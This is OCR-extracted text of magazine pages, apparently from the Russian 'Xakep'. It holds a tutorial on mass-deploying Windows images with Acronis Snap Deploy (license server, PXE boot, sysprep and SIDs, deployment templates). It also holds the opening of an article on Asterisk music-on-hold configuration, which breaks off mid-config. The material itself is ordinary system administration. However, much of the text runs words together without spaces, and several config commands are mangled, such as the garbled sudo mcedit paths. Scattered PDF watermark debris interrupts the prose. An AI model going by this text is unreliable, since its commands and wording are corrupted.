ДляработысерверапотребуетсякомпьютерклассаPentiumс128МбОЗУ подуправлениемWindowsNT/2k/2k3снастроеннымDHCP-сервером. ЭтимрешениеотAcronisотличаетсяотреализацииRIS/WDS,требующей какминимумWindows2k3Server.Накомпьютере,являющемсяконсолью администратора,атакжевкачестверазвертываемойсистемыможно использоватьиWindows98/Me.Хотяотмечается,чтоприпомощиAcronis SnapDeploy,используязагрузочныйноситель,подсилуразвернутьлюбую системунаплатформеx86.ПоддерживаютсяфайловыесистемыFAT16/32,

Программа установки Acronis Snap Deploy

NTFS,ext2/ext3,ReiserFS,Reiser4,XFS,JFSиLinuxSWAP.Такчтотеорети-

ческипростордлятворчествавелик.

уСТаНОВка ACrONiS SNAP DePLOY

Демонстрационную версию Acronis Snap Deploy и ключ, дающий 15 дней на ознакомление с его работой, можно получить на сайте проекта (www.acronis.ru) после регистрации. Установка выполнена

ведином для всех продуктов Acronis стиле, поэтому если ранее ты сталкивался с установкой других решений, то найдешь здесь много знакомого. После запуска исполняемого файла появится меню; любой доступный компонент можно извлечь в виде msi-файла, воспользовавшись контекстным меню. Если в сети нет действующего сервера лицензий Acronis (Acronis License Server), развертывание Snap Deploy

следует начинать именно с него, так как последующие элементы будут требовать наличия такого сервера. Установка Acronis License Server производится при помощи понятного мастера. Если размещение консоли управления сервером лицензий планируется на другом компьютере, следует применить вариант установки «Выборочная» и отметить устанавливаемые компоненты. После установки Acronis License Server надо добавить в его базу все номера лицензий используемых продуктов Acronis (установка Acronis License Server подробно описана

вмартовском номере «Хакера» за 2007 год. — Прим. редактора). Одна лицензия позволяет управлять одним сервером Snap Deploy. Следующийшаг—установкаосновногокомпонентавсейсистемы

—AcronisOSDeployServer.Здесьтебявстретитаналогичныймастер. Послеподтверждениясогласияслицензионнымсоглашениемследуетуказатьсерверлицензий.Возможенавтоматическийпоисксервераиливвод данныхвручную.ПослетогокакAcronisOSDeployServerбудетустановлен, такимжеобразомустанавливаемконсольуправленияAcronisSnapDeploy накомпьютерадминистратора.Установкаконсолипростаинедолжна вызватьникакихзатруднений.Такжепоумолчаниюбудетинсталлирован мастерсозданиязагрузочныхобразов,можновоспользоваться«Выборочнымвариантом»иуказатьтольконеобходимыекомпоненты.

Передтемкакпродолжитьработу,следуетубедитьсявдоступности лицензии,длячеговызываемконсольуправленияивыбираемпункт «Управлениелицензиями».Еслинужнаялицензияприсутствуетвсписке, значитвсевпорядкеиможноидтидальше;впротивномслучаеееследует импортировать,нажав«Добавитьлицензию».

Вдальнейшемустановкуостальныхкомпонентов,втомчислеинаудаленныесистемы,можнопроизводитьприпомощиконсоли,выбравпункт «СервисУстановкакомпонентовAcronis».Появившийсямастеруда-

xàêåð 01 /109/ 08

145

				hang	e
			C				E
		X
	-							d
	F								t
	D								i
									r
P				NOW!					o
w Click				to BUY		>>
										m
w
	w								o
	.							.c
		p					g
			df		n			e
				-xcha

ХАКЕР.PRO

				hang			e
			C					E
		X
	-								d
	F									t
	D									i
										r
P							NOW!			o
						BUY
				to
w Click											m
w
	w									o
	.								.c
		p						g
			df				n		e
				-x cha

Выбор диска для клонирования

леннойустановкипроведетнасзарукуповсемэтапам.Сначаласледует указатьисточник,вкачествекоторогоможетвыступатьизвлеченныйmsi- файл,CD/DVD-дискилизарегистрированныйвSnapDeployкомпонент. Длядальнейшегоиспользованияустанавливаемыйкомпонентможно скопироватьизарегистрировать.Далее,взависимостиотпредыдущего выбора,следуетуказатьустанавливаемыйкомпонент,затемкомпьютер, накоторыйегонеобходимоустановить,иучетныеданныедлядоступа. Еслиустанавливаемыйкомпонентдляработытребуетперезагрузки компьютера(например,агентуправленияAcronisSnapDeploy),ставим флажоквэтомжеокне.

ИнсталляцияпоследнегокомпонентаAcronisPXEServerнесложна—дос- таточно4разанажатькнопку«Далее»:).Послеустановкикнемунужно подключиться,дляэтоговыбираемвконсоли«НастройкаPXEServer»инажимаемвменюпункт«ОбновитьPXEServer».Появитсяочередноймастер, навторомшагекоторогоследуетотметитькомпонентыAcronis,которые будутдоступныприудаленнойзагрузке.Еслинакомпьютереимеются другиерешенияотAcronis,онитакжебудутуказанывэтомсписке.Вчастности,AcronisSnapDeployможноиспользоватьдляразвертыванияфайлов образов,созданныхвпрограммеAcronisTrueImage.Посленажатияна кнопку«Приступить»всеотобранныекомпонентыбудутподготовлены длязагрузкипосети,аихсписокпоявитсявокнеконсоли.

Подготовка к созданию образов

Есликомпьютерынеподдерживаютудаленнуюзагрузкупосети,нам потребуютсядвадиска.ПрипомощидискасAcronisMasterImageCreator будемсоздаватьэталонныеобразы,адисксAcronisSnapDeployAgent позволитуправлятьудаленнымкомпьютеромсконсоли.Длятогочтобы создатьтакойдиск,достаточнонажатьссылку«Создатьзагрузочныйдиск» иследоватьуказаниямимастера.Устанавливаемсистему,программное обеспечение,котороеразрешенокиспользованиювсетипредприятия,и вседоступныенамоментустановкипатчииисправления.

НоприклонированиисистемнаядреNTестьодинмомент,окотором следуетзнать.Таккакэтасистемаориентировананаработувсетевом окружении,длякаждойучетнойзаписисоздаетсяидентификаторбезопасности(SID,securityidentifier),которыйиспользуетсяприограничении правпользователей.Естественно,чтоSIDвовсехоперационныхсистемах, установленныхпутемклонирования,будутодинаковы,азначит,пользователиэтихмашинсмогутполучитьравныеправа.

Для решения этой проблемы следует использовать утилиту

System Preparation Tool (sysprep.exe), входящую в состав дистрибутива Windows (файл system\tools\deploy.cab). Как вариант

— она свободно скачивается (если будет пройдена проверка на

Настройка сетевых параметров шаблона

подлинность установленной ОС) с сайта Microsoft. Утилиту sysrep можно запустить как в командной строке, передав ей в качестве аргументов нужные параметры, так и двойным щелчком мышки. По окончании работы компьютер перезагрузится. При следующей загрузке или установке системы ей будет присвоен новый SID, а запустившийся мастер поможет произвести остальные настройки. По окончании все файлы, связанные с sysrep, будут удалены. Дополнительно к sysrep можно использовать файл sysprep. inf, в котором указаны ответы на вопросы, задаваемые этим мастером установки. Таким образом, можно полностью автоматизировать весь процесс. Если система клонируется при помощи таких программ, как Acronis True Image, использование sysprep обязательно. А Snap Deploy умеет самостоятельно присваивать SID, настройки TCP/IP, домена или рабочей группы.

Эталонный образ можно создать двумя способами: локально, используя на компьютере-источнике загрузочный диск Acronis Master Image Creator, или удаленно, при помощи консоли управления Acronis Snap Deploy. Несмотря на все удобства удаленного создания образов, разработчики рекомендуют первый способ. Присутствие лишних программ в образе нежелательно, а Acronis Snap Deploy Agent обязательно попадет в слепок и после развертывания будет установлен на всех компьютерах. Хотя, учитывая его возможности, описанные выше, это может быть даже плюсом.

Создание образов

Для создания загрузочных дисков выбираем пункт «Создать загрузочный диск» и следуем указаниям мастера Acronis Media Builder. На втором шаге предстоит выбрать продукты Acronis, которые будут установлены на этот диск (Acronis Snap Deploy Agent и Acronis Master Image Creator). Отметив один из пунктов и установив флажок «Автоматически запускать после», можно разрешить автоматическую загрузку этого компонента через указанный промежуток времени. Далее выбираем устройство, которое будет использовано для создания загрузочного носителя. В качестве последнего может выступать CD/DVD-привод, ISO-файл или сервер со службой удаленной установки RIS/WDS.

Теперь загружаемся на эталонном компьютере при помощи диска или по сети с использованием RIS. В появившемся меню выбираем Acronis Master Image Creator. Через некоторое время последует запрос на его настройку. Если в сети нет настроенного DHCP-сервера, компьютер не сможет подсоединиться к ней. В этом случае в окне настроек тебе необходимо указать IP-адреса найденных сетевых интерфейсов.

146	xàêåð 01 /109/ 08

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

>>

ХАКЕР

				hang	e
			C			E
		X
	-						d
	F							t
	D							i
								r
P					NOW!			o
.PROBUY
w Click				to					m
w
	w							o
	.						.c
		p				g
			df		n		e
				-x cha

Компьютер в ожидании начала установки

И встречаем мастер создания эталонных образов. Работа с ним стандартна и напоминает создание образов разделов в Acronis True Image. Просто выбираем диск, образ которого нужно создать, а затем указываем место хранения эталона. Это может быть раздел жесткого диска, сетевой ресурс, привод, флеш-карта и прочее. Но учти, что выбирать отдельные разделы диска, как это происходит в True Image, здесь нельзя, только целые диски. В один образ можно включать один или несколько дисков. Далее устанавливаем сжатие, деление архива на части, проверку целостности образа, комментарии (при большом количестве образов ремарками пренебрегать не стоит, легче будет найти нужный).

Создание шаблона

Итак, эталонные образы у нас уже есть, но, перед тем как начать непосредственное развертывание систем, следует создать шаблоны. В шаблоне администратор сохраняет план процедуры развертывания, указав специфические для данной сети настройки. Для этого переходим в «Управление развертыванием» и выбираем «Создать шаблон». Очередной мастер сначала предложит создать новый шаблон или использовать существующий. Пока шаблона у нас нет, поэтому выбираем первый вариант и указываем на созданный эталонный образ. На следующем шаге мастер позволит создать произвольное число учетных записей пользователей, которые могут принадлежать к одной из трех групп: «Администраторы», «Опытные пользователи» и «Пользователи». Далее следует ввести имя компьютера и указать принадлежность к домену или рабочей группе. Чтобы присвоить уникальные имена, можно использовать маски. Например, указав в поле «Имя компьютера» Office{0}, мы получим имена Office0, Office1 и т.д. При необходимости через запятую можно задать конечную цифру в нумерации. Так, при Office{1,3} будут выданы имена от Office1 до Office3.

Затем переходим к настройке сетевых параметров компьютеров. Можно указать автоматическое назначение адресов при помощи DHCP, задать диапазон вручную или оставить установки, сохраненные в образе, без изменений. Активация флажка «Изменить идентификатор безопасности» в следующем окне позволит создать уникальный для каждого компьютера SID, заменив записанный в образе. Следующие два шага мастера помогут указать файлы и каталоги, которые должны быть скопированы на все целевые компьютеры после завершения процесса установки, а также список приложений и скриптов, которые необходимо запустить в конце работы.

Выбор устройства для создания образа

И, наконец, предпоследнее окно мастера. Здесь указываем, что нужно сделать после окончания всех процедур (выключить или перезагрузить компьютер), метод использования дискового пространства (весь диск или как в образе) и настройки сети. В последнем случае задается полоса пропускания и выбирается режим передачи: групповой и одноцелевой. Каждый имеет свои достоинства и недостатки. При выборе первого меньше нагрузка на сеть, так как образ передается по широковещательному адресу один раз и сразу всем компьютерам, но для этого нужна поддержка IGMP. Во втором случае производится «персональная» установка, информация передается каждому компьютеру, полоса пропускания делится поровну между компьютерами. Далее задаем описание шаблона и после сохранения результата можно приступать к установке.

Развертывание образов

Включаем целевой компьютер и загружаем агент Acronis Snap Deploy, используя PXE-сервер, RIS или загрузочный диск. Как и в случае с Acronis Master Image Creator, при необходимости настраиваем сетевые интерфейсы, но здесь появилась еще одна вкладка

— «Развертывание», в которой можно указать адрес или имя сервера Acronis Snap Deploy. После подтверждения настроек агент будет пытаться подключиться к серверу.

На сервере в окне «Управление развертыванием», во вкладке «Развертывание», должны появиться компьютеры, на которых работает агент, с указанием их IP- и МАС-адресов. В этом же окне можно затем отслеживать ход процесса установки на каждый компьютер. Если все в порядке, нажатием «Управление развертыванием» запускаем мастер развертывания. Выбираем компьютеры, на которые будет производиться установка. Если их много, просто устанавливаем флажок «Все компьютеры» и выбираем шаблон развертывания. Можно использовать имеющийся шаблон или создать свой. При необходимости мастер может уточнить недостающие параметры (например, имя компьютера). После этого начнется процесс копирования файлов на удаленные компьютеры и установка системы.

Ничто не мешает в процессе развертывания запустить агенты в новой группе компьютеров, начав параллельный процесс. В зависимости от размера образов, количества компьютеров и пропускной способности сети, вся процедура на современных

компьютерах может занять порядка 10-20 минут, что, согласись, по сравнению с традиционной установкой, ничтожно мало. При этом новая система практически полностью готова к работе сразу по окончании установки. z

xàêåð 01 /109/ 08

147

				hang	e
			C				E
		X
	-							d
	F								t
	D								i
									r
P				NOW!					o
w Click				to BUY		>>
										m
w
	w								o
	.							.c
		p					g
			df		n			e
				-xcha

ХАКЕР.Pro

сергей «GrInDer» яремчук

/ [e-mail] /

назначения

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-x cha

полезные фичи aSTeRISK Ip-pBx

Возможности сервера IP-PBX Asterisk не ограничиваются лишь обслуживанием звонков клиентов. В зависимости от характера деятельности организации, в которой будет использоваться Asterisk, могут понадобиться и некоторые другие его возможности. Например, в службе поддержки не помешает функция перехвата или перенаправления звонков, а использование голосовой почты поможет всегда «отвечать» на звонки клиентов. И это далеко не все, что может этот сервер.

MUSiC ON HOLD

Слушать гудки, пока абонент не снял трубку, невероятно скучно. Чтобы избежать неприятных ощущений, можно установить мелодию, которая будет проигрываться вместо гудков. В Asterisk в качестве источника звука можно использовать WAV, MP3, UL, RAW и другие файлы, в том числе и потоковое аудио. Формат WAV в версии 1.4.x используется по умолчанию и является предпочтительным, так как отнимает меньше системных ресурсов. Учитывая нагрузку на канал и качество связи, 8 бит часто вполне достаточно, использовать файлы с лучшим качеством не стоит. В ранних версиях для воспроизведения MP3-файлов необходимо было установить mpg123. Сейчас разработчики Asterisk отказались от его использования, и теперь для поддержки MP3 достаточно установить пакет asterisk-addons. Будем считать, что мелодии подготовлены, открываем файл /etc/asterisk/musiconhold.conf и создаем новый класс, состоящий из нескольких директив:

$SuDOMceDIT/eTc/aSTeRISK/MuSIcONHOLD.cONf

[none]

mode=files

directory=/dev/null

[default] mode => files

directory => /var/lib/asterisk/moh random=yes

Первыйкласс,обозначенныйnone,будетиспользоватьсядляобеспечениятишиныприпомощиMusicоnHold(MOH).Второйописываетресурс дляMOH.Внеммыуказалирежимвоспроизведенияфайлов,каталог,в которомнаходитсямузыка,иустановилислучайноевоспроизведение. Еслифайлыимеютспецифическийформат,которыйнеможетвоспроизвестиAsterisk,илихочетсязадействоватьпотоковоеаудио,полученноес Shoutcastилиподобногосервера,дополнительнонеобходимоиспользоватьдирективуapplication.Например,MP3спотоковогосервераможно воспроизвести,добавивтакиестроки:

mode=custom

application=/usr/local/bin/mpg123 -q -r 8000 -f 8192 -s --mono http://shoutserver:8000/

Вкачествеаргументавapplicationможноиспользоватьискрипты,умеющиевоспроизводитьмузыкувопределенномформате.Теперьвнужных секцияхextensions.confпрописываемпараметрыMOH:

$SuDOMceDIT/eTc/aSTeRISK/exTeNSIONS.cONf

[default]

; Устанавливаем класс для MOH

exten => s,1,SetMusicOnHold(default)

[local]

; Первым делом указываем обязательное использование

148	xàêåð 01 /109/ 08